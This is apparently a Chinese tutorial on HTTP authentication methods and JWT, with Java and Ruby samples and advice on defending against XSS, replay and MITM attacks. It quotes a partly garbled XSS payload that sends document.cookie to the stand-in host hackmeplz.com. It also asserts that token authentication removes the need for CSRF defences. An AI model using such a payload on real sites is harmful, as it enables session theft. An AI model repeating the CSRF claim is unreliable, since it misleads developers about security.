HTTP 幾種常用的認證機制
HTTP Basic Auth
HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供使用者名稱密碼即可,但由於有把使用者名稱密碼暴露給第三方客戶端的風險,在生產環境下被使用的越來越少。因此,在開發對外開放的RESTful API時,儘量避免採用HTTP Basic Auth
OAuth
OAuth(開放授權)是一個開放的授權標準,允許使用者讓第三方應用訪問該使用者在某一web服務上儲存的私密的資源(如照片,視訊,聯絡人列表),而無需將使用者名稱和密碼提供給第三方應用。
OAuth允許使用者提供一個令牌,而不是使用者名稱和密碼來訪問他們存放在特定服務提供者的資料。每一個令牌授權一個特定的第三方系統(例如,視訊編輯網站)在特定的時段(例如,接下來的2小時內)內訪問特定的資源(例如僅僅是某一相簿中的視訊)。這樣,OAuth讓使用者可以授權第三方網站訪問他們儲存在另外服務提供者的某些特定資訊,而非所有內容
下面是OAuth2.0的流程:
這種基於OAuth的認證機制適用於個人消費者類的網際網路產品,如社交類APP等應用,但是不太適合擁有自有認證許可權管理的企業應用;
Cookie Auth
Cookie認證機制就是為一次請求認證在服務端建立一個Session物件,同時在客戶端的瀏覽器端建立了一個Cookie物件;通過客戶端帶上來Cookie物件來與伺服器端的session物件匹配來實現狀態管理的。預設的,當我們關閉瀏覽器的時候,cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時間內有效;
Token Auth
Token Auth的優點
Token機制相對於Cookie機制又有什麼好處呢?
- 支援跨域訪問: Cookie是不允許垮域訪問的,這一點對Token機制是不存在的,前提是傳輸的使用者認證資訊通過HTTP頭傳輸.
- 無狀態(也稱:服務端可擴充套件行):Token機制在服務端不需要儲存session資訊,因為Token 自身包含了所有登入使用者的資訊,只需要在客戶端的cookie或本地介質儲存狀態資訊.
- 更適用CDN: 可以通過內容分發網路請求你服務端的所有資料(如:javascript,HTML,圖片等),而你的服務端只要提供API即可.
- 去耦: 不需要繫結到一個特定的身份驗證方案。Token可以在任何地方生成,只要在你的API被呼叫的時候,你可以進行Token生成呼叫即可.
- 更適用於移動應用: 當你的客戶端是一個原生平臺(iOS, Android,Windows 8等)時,Cookie是不被支援的(你需要通過Cookie容器進行處理),這時採用Token認證機制就會簡單得多。
- CSRF:因為不再依賴於Cookie,所以你就不需要考慮對CSRF(跨站請求偽造)的防範。
- 效能: 一次網路往返時間(通過資料庫查詢session資訊)總比做一次HMACSHA256計算 的Token驗證和解析要費時得多.
- 不需要為登入頁面做特殊處理: 如果你使用Protractor 做功能測試的時候,不再需要為登入頁面做特殊處理.
- 基於標準化:你的API可以採用標準化的 JSON Web Token (JWT). 這個標準已經存在多個後端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支援(如:Firebase,Google, Microsoft).
基於JWT的Token認證機制實現
JSON Web Token(JWT)是一個非常輕巧的規範。這個規範允許我們使用JWT在使用者和伺服器之間傳遞安全可靠的資訊。其
JWT的組成
一個JWT實際上就是一個字串,它由三部分組成,頭部、載荷與簽名。
載荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "[email protected]",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "[email protected]",
"Role": [ "Manager", "Project Administrator" ]
}
- iss: 該JWT的簽發者,是否使用是可選的;
- sub: 該JWT所面向的使用者,是否使用是可選的;
- aud: 接收該JWT的一方,是否使用是可選的;
- exp(expires): 什麼時候過期,這裡是一個Unix時間戳,是否使用是可選的;
- iat(issued at): 在什麼時候簽發的(UNIX時間),是否使用是可選的;
其他還有: - nbf (Not Before):如果當前時間在nbf裡的時間之前,則Token不被接受;一般都會留一些餘地,比如幾分鐘;,是否使用是可選的;
將上面的JSON物件進行[base64編碼]可以得到下面的字串。這個字串我們將它稱作JWT的Payload(載荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知識:Base64是一種基於64個可列印字元來表示二進位制資料的表示方法。由於2的6次方等於64,所以每6個位元為一個單元,對應某個可列印字元。三個位元組有24個位元,對應於4個Base64單元,即3個位元組需要用4個可列印字元來表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它們可以非常方便的完成基於 BASE64 的編碼和解碼
頭部(Header)
JWT還需要一個頭部,頭部用於描述關於該JWT的最基本的資訊,例如其型別以及簽名所用的演算法等。這也可以被表示成一個JSON物件。
{
"typ": "JWT",
"alg": "HS256"
}
在頭部指明瞭簽名演算法是HS256演算法。
當然頭部也要進行BASE64編碼,編碼後的字串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
簽名(Signature)
將上面的兩個編碼後的字串都用句號.連線在一起(頭部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最後,我們將上面拼接完的字串用HS256演算法進行加密。在加密的時候,我們還需要提供一個金鑰(secret)。如果我們用mystar作為金鑰的話,那麼就可以得到我們加密後的內容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最後將這一部分簽名也拼接在被簽名的字串後面,我們就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我們的請求URL中會帶上這串JWT字串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
認證過程
下面我們從一個例項來看如何運用JWT機制實現認證:
登入
- 第一次認證:第一次登入,使用者從瀏覽器輸入使用者名稱/密碼,提交後到伺服器的登入處理的Action層(Login Action);
- Login Action呼叫認證服務進行使用者名稱密碼認證,如果認證通過,Login Action層呼叫使用者資訊服務獲取使用者資訊(包括完整的使用者資訊及對應許可權資訊);
- 返回使用者資訊後,Login Action從配置檔案中獲取Token簽名生成的祕鑰資訊,進行Token的生成;
- 生成Token的過程中可以呼叫第三方的JWT Lib生成簽名後的JWT資料;
- 完成JWT資料簽名後,將其設定到COOKIE物件中,並重定向到首頁,完成登入過程;
請求認證
基於Token的認證機制會在每一次請求中都帶上完成簽名的Token資訊,這個Token資訊可能在COOKIE
中,也可能在HTTP的Authorization頭中;
- 客戶端(APP客戶端或瀏覽器)通過GET或POST請求訪問資源(頁面或呼叫API);
- 認證服務作為一個Middleware HOOK 對請求進行攔截,首先在cookie中查詢Token資訊,如果沒有找到,則在HTTP Authorization Head中查詢;
- 如果找到Token資訊,則根據配置檔案中的簽名加密祕鑰,呼叫JWT Lib對Token資訊進行解密和解碼;
- 完成解碼並驗證簽名通過後,對Token中的exp、nbf、aud等資訊進行驗證;
- 全部通過後,根據獲取的使用者的角色許可權資訊,進行對請求的資源的許可權邏輯判斷;
- 如果許可權邏輯判斷通過則通過Response物件返回;否則則返回HTTP 401;
對Token認證的五點認識
對Token認證機制有5點直接注意的地方:
- 一個Token就是一些資訊的集合;
- 在Token中包含足夠多的資訊,以便在後續請求中減少查詢資料庫的機率;
- 服務端需要對cookie和HTTP Authrorization Header進行Token資訊的檢查;
- 基於上一點,你可以用一套token認證程式碼來面對瀏覽器類客戶端和非瀏覽器類客戶端;
- 因為token是被簽名的,所以我們可以認為一個可以解碼認證通過的token是由我們系統發放的,其中帶的資訊是合法有效的;
JWT的JAVA實現
Java中對JWT的支援可以考慮使用JJWT開源庫;JJWT實現了JWT, JWS, JWE 和 JWA RFC規範;下面將簡單舉例說明其使用:
生成Token碼
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;
//Sample method to construct a JWT
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
//Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
.setIssuedAt(now)
.setSubject(subject)
.setIssuer(issuer)
.signWith(signatureAlgorithm, signingKey);
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
long expMillis = nowMillis + ttlMillis;
Date exp = new Date(expMillis);
builder.setExpiration(exp);
}
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
解碼和驗證Token碼
import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()
.setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
.parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}
基於JWT的Token認證的安全問題
確保驗證過程的安全性
如何保證使用者名稱/密碼驗證過程的安全性;因為在驗證過程中,需要使用者輸入使用者名稱和密碼,在這一過程中,使用者名稱、密碼等敏感資訊需要在網路中傳輸。因此,在這個過程中建議採用HTTPS,通過SSL加密傳輸,以確保通道的安全性。
如何防範XSS Attacks
瀏覽器可以做很多事情,這也給瀏覽器端的安全帶來很多隱患,最常見的如:XSS攻擊:跨站指令碼攻擊(Cross Site Scripting);如果有個頁面的輸入框中允許輸入任何資訊,且沒有做防範措施,如果我們輸入下面這段程式碼:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
這段程式碼會盜取你域中的所有cookie資訊,併發送到 hackmeplz.com;那麼我們如何來防範這種攻擊呢?
- XSS攻擊程式碼過濾
移除任何會導致瀏覽器做非預期執行的程式碼,這個可以採用一些庫來實現(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是將使用者提交的字串儲存到資料庫的話(也針對SQL注入攻擊),你需要在前端和服務端分別做過濾; - 採用HTTP-Only Cookies
通過設定Cookie的引數: HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie;
如何在Java中設定cookie是HttpOnly呢?
Servlet 2.5 API 不支援 cookie設定HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建議升級Tomcat7.0,它已經實現了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
或者通過這樣來設定:
//設定cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//設定多個cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//設定https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在實際使用中,我們可以使FireCookie檢視我們設定的Cookie 是否是HttpOnly;
如何防範Replay Attacks
所謂重放攻擊就是攻擊者傳送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用於身份認證過程。比如在瀏覽器端通過使用者名稱/密碼驗證獲得簽名的Token被木馬竊取。即使使用者登出了系統,黑客還是可以利用竊取的Token模擬正常請求,而伺服器端對此完全不知道,以為JWT機制是無狀態的。
針對這種情況,有幾種常用做法可以用作參考:
1、時間戳 +共享祕鑰
這種方案,客戶端和服務端都需要知道:
- User ID
- 共享祕鑰
客戶端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token釋出時間
exp: Time.now.to_i + 2 # 指定token過期時間為2秒後,2秒時間足夠一次HTTP請求,同時在一定程度確保上一次token過期,減少replay attack的概率;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解碼JWT,並獲取User ID,這個時候不對Token簽名進行檢查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 檢查該使用者是否存在於資料庫
@current_user = User.find(payload['user_id'])
# Step 3: 檢查Token簽名是否正確.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的.
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 如果過期則返回401
end
rescue JWT::DecodeError
# 返回 401
end
end
2、時間戳 +共享祕鑰+黑名單 (類似Zendesk的做法)
客戶端
auth_header = JWT.encode({
user_id: 123,
jti: rand(2 << 64).to_s, # 通過jti確保一個token只使用一次,防止replace attack
iat: Time.now.to_i, # 指定token釋出時間.
exp: Time.now.to_i + 2 # 指定token過期時間為2秒後
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
def set_current_user_from_jwt_token
# 前面的步驟參考上面
payload = JWT.decode(request.authorization, nil, false)
@current_user = User.find(payload['user_id'])
JWT.decode(request.authorization, current_user.api_secret)
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 返回401
end
# 下面將檢查確保這個JWT之前沒有被使用過
# 使用Redis的原子操作
# The redis 的鍵: <user id>:<one-time use token>
key = "#{payload['user_id']}:#{payload['jti']}"
# 看鍵值是否在redis中已經存在. 如果不存在則返回nil. 如果存在則返回“1”. .
if redis.getset(key, "1")
# 返回401
#
end
# 進行鍵值過期檢查
redis.expireat(key, payload['exp'] + 2)
end
如何防範MITM (Man-In-The-Middle)Attacks
所謂MITM攻擊,就是在客戶端和伺服器端的互動過程被監聽,比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理伺服器等;
針對這類攻擊的辦法使用HTTPS,包括針對分散式應用,在服務間傳輸像cookie這類敏感資訊時也採用HTTPS;所以雲端計算在本質上是不安全的。
參考目錄:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/
相關推薦
HTTP 幾種常用的認證機制
HTTP Basic Auth HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供使用者名稱密碼即可,但由於有把使用者名稱密
HTTP 和 SCOKET 通訊的區別? TCP,UDP 的連線方法?HTTP 幾種常用方式
http 和 scoket 通訊的區別: http 是客戶端用 http 協議進行請求,傳送請求的時候,需要封裝http 請求頭,並繫結請求的資料,伺服器一般有 web伺服器進行配合(
現階段幾種常用的認證計費技術比較
一、使用者認證對寬頻接入的意義BRAS(寬頻接入伺服器)是借鑑窄帶接入的成熟運作模式,在資料網路由窄帶向寬頻演進的趨勢下,使寬頻網路可以像窄帶接入一樣運營管理。不像窄帶網路尚需要提供PSTN的接入,寬頻網路通常已具備完整的接入網路(ADSL、Ethernet、HFC),因此B
java 中幾種常用數據結構
初學 ble log app 使用 blog list 好的 sort Java中有幾種常用的數據結構,主要分為Collection和map兩個主要接口(接口只提供方法,並不提供實現),而程序中最終使用的數據結構是繼承自這些接口的數據結構類。 一、幾個常用類的區別 1.
幾種常用的空格
idt 而且 根據 筆記本 p s 時也 引用 其中 等等 今天上午把在家寫好的代碼下載到另一個筆記本上,一調試發現,出現的結果和之前不一樣。我用代碼寫好的等腰三角形,在家調試完成沒有任何問 題。在這臺筆記本上顯示成了直角三角形。仔細檢查了下,代碼並沒有發現什麽問
C#中幾種常用的集合的用法
col div tex -c 組成 相同 列表 對象 count 集合:將一推數據類型相同的數據放入到一個容器內,該容器就是數組:內存中開辟的一連串空間。 非泛型集合 ArrayList集合: ArrayList是基於數組實現的,是一個動態數組,其容量能自動 增
SSH免登陸ESXI讓操作更便捷安全(幾種常用工具)
esxi vmware ssh工具 免登陸 授權訪問通常在企業環境中,管理員很少去機房在物理機面前進行操作,大部分管理員喜歡遠程管理主機,這樣既方便又高效。在windows上我們使用遠程桌面,在Linux上則使用SSH來連接。ESXi就是一個以Linux為核心改寫的操作系統,因此ESXi中也保留了SSH
JAVA獲取文件的幾種常用方式
ada col epo term 打印 core book port nbsp 1、user.dir System.out.println(System.getProperty("user.dir")); 此方獲取的是運行的路 比如 1、 2、如果在eclipse上運
Python中time模塊和datetime模塊的常用操作以及幾種常用時間格式間的轉換
pyrhon time datatime 幾種常用時間格式的轉換 最常見以及常用的幾種時間格式 1、時間戳(timestamp),時間戳表示的是從1970年1月1日00:00:00開始按秒計算的偏移量。 2、時間元組(struct_time),共有九個元素組。 3、格式化時間(fo
總結幾種常用的安全算法
多人 很難 .html 如果 tab ble www. 解密 是我 摘要算法 對稱加密算法 非對稱加密算法 數字簽名 數字證書 web安全系列目錄 總結幾種常見web攻擊手段極其防禦方式 總結幾種常見的安全算法 數字摘要 實現 將任意長度的明文通過單向hash
關於Java集合類庫中的幾種常用隊列
rac syn text 刪除 style asdasd 新元素 其他 arraylist Java中幾種常用的隊列 阻塞隊列與普通隊列的區別在於,當隊列是空的時,從隊列中獲取元素的操作將會被阻塞,或者當隊列是滿時,往隊列裏添加元素的操作會被阻塞。試圖從空的阻塞隊列中獲取元
java-幾種常用數據庫的JDBCURL
ron log 矽谷 sqlserver com src 課件 ges cal 以mysql的jdbcUrl為例: 1、對於 Oracle 數據庫連接,采用如下形式: jdbc:oracle:thin:@localhost:1521:sid 2、對於 SQLSer
垃圾收集與幾種常用的垃圾收集算法
嘗試 產生 統一 規則 存在 允許 成本 garbage 找到 前言: 首先思考垃圾收集(Garbage Collection,GC)需要完成的三件事情 1)哪些內存需要回收? 2)什麽時候回收? 3)如何回收? 再上一個博客中提到了Java內存運行時
幾種常用的過濾器
font param blog 瀏覽器 span 過濾器 web 禁用 png 1.禁用瀏覽器緩存的過濾器: 2.字符編碼過濾器:防止亂碼 在web.xml中配置<context-param></context-param> 3.檢查
14 圖的基礎知識-幾種常用的存儲結構
尾結點 壓縮 了解 link 同時 log 頂點 對稱矩陣 其中 時間有點緊 沒時間接著更了。。考完研回頭再寫吧 一、鄰接矩陣1、描述:用一維數組存儲圖頂點的信息用二維數組存儲圖邊的信息2、特點:①無向圖的鄰接矩陣: 是唯一的對稱矩陣,可以壓縮存儲(僅存儲上/下三
Spring下配置幾種常用連接池
擴展 ade 不能 bcp thread helper facade 後者 lis 1、連接池概述 數據庫連接是一種關鍵的有限的昂貴的資源,這一點在多用戶的網頁應用程序中體現得尤為突出。對數據庫連接的管理能顯著影響到整個應用程序的伸縮性和健壯性,影響到程序的性能指標。數據
F5幾種會話保持機制
under 範圍 int http請求 接受 源地址 lan 5.0 插入模式 1.什麽是會話保持? 在大多數電子商務的應用系統或者需要進行用戶身份認證的在線系統中,一個客戶與服務器經常經過好幾次的交互過程才能完成一筆交易或者是一個請求的完成。由於這幾次交互過程是密切相
幾種常用的ajax 跨域請求
nbsp 瀏覽器 style access adding score with math 端口號 前 言 首先,我們要明白,什麽是跨域,為什麽要跨域。 由於JS中存在同源策略。當請求不同協議名不同端口號下面的文件時,將會違背同源策略,無法請求成功!需要進行跨域
JAVA中幾種常用的RPC框架介紹
github 不同的 target int https love num 分布 有一個 RPC是遠程過程調用的簡稱,廣泛應用在大規模分布式應用中,作用是有助於系統的垂直拆分,使系統更易拓展。Java中的RPC框架比較多,各有特色,廣泛使用的有RMI、Hessian、Du
清除浮動的幾種常用方法
src 添加 環繞 blog img eight 方式 內聯元素 特性 首先,浮動這個樣式的出現,僅僅只是為了實現圖文環繞的效果,現在大多時利用浮動來布局; 浮動: 使元素推理文檔流,按照指定方向發生移動; 遇到父級邊界或者相鄰的浮動元素會停下來; 浮動的特性: